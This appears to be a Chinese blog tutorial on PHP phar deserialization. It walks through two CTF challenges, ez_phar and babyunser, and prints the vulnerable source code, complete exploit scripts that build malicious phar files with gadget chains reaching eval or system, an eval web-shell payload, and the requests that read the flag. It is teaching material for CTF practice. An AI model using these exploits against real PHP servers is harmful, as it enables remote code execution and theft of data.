phar反序列化

Phar反序列化

phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容。(漏洞利用点)

受影响的文件操作函数

漏洞利用条件

1. phar可以上传到服务器端(存在文件上传)

2. 要有可用的魔术方法作为“跳板”。

3. 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

phar生成

  <?php
      class TestObject {
      }
      $phar = new Phar("test.phar"); //后缀名必须为phar
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
      $a = new TestObject();
      $phar->setMetadata($a); //将自定义的meta-data存入manifest
      $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

 

例题

[HNCTF 2022 WEEK3]ez_phar

代码：

 <?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something upload something

这里提示upload something，猜测路径/upload.php。

 

漏洞代码是eval($this->code)这段。因为存在file_exists()函数，所以我们考虑Phar反序列化。

payload:

<?php
show_source(__FILE__);
header('Content-Type: text/html; charset=gbk');
class Flag{
    public $code='eval($_POST["a"]);';
}
$a=new Flag();
echo urlencode(serialize($a));

$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 

$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
//签名自动计算
$phar->stopBuffering();
?>

 在本地运行后生成a.phar文件，上传phar文件。

修改后缀为png，上传成功后，来到初始界面，使用phar://伪协议，GET传参:?filename=phar://upload/a.png。之后POST传参a=phpinfo();成功执行命令。

最后执行命令system('tac /ffflllaaaggg');即可获得flag。

 [SWPUCTF 2021 新生赛]babyunser

进入查看文件页面，先读取read.php，发现class.php，在读取upload.php，代码如下：

read.php

<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

upload.php

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径：".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }
?>

class.php

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃，不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}
?>

在zz类中的getFlag函数发现file_get_content()函数。可以配和文件上传使用phar://反序列化。

看反序列化链子，aa类中的_construct()函数中有strtolower()函数能将字符串转化为小写，触发zz类中的_toString()函数，POST传入参数method=write和var=content，执行write()函数，触发ff类中的_get()函数，即可命令执行，_get($key)中的$key便是想要被调用的变量，这里指的是$content变量。因此要对$content进行xx类初始化。

exp

<?php
class aa{
    public $name;
}

class ff{
    private $content;
    public $func="system";
    public function __construct(){
        $this->content=new xx();
    }
}

class zz{
    public $filename;
    public $content;
}

class xx{
    public $name;
    public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();


$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
?>

在本地运行获得a.phar文件，在上传文件页面上传，得到路径。

再到读取文件页面，POST传参：file=phar://upload/10fc2e21960634362c7c467b903abd46.txt&method=write&var=content&cmd=cat /flag，得到flag。

本篇文章参考了https://blog.csdn.net/unexpectedthing/article/details/122930867。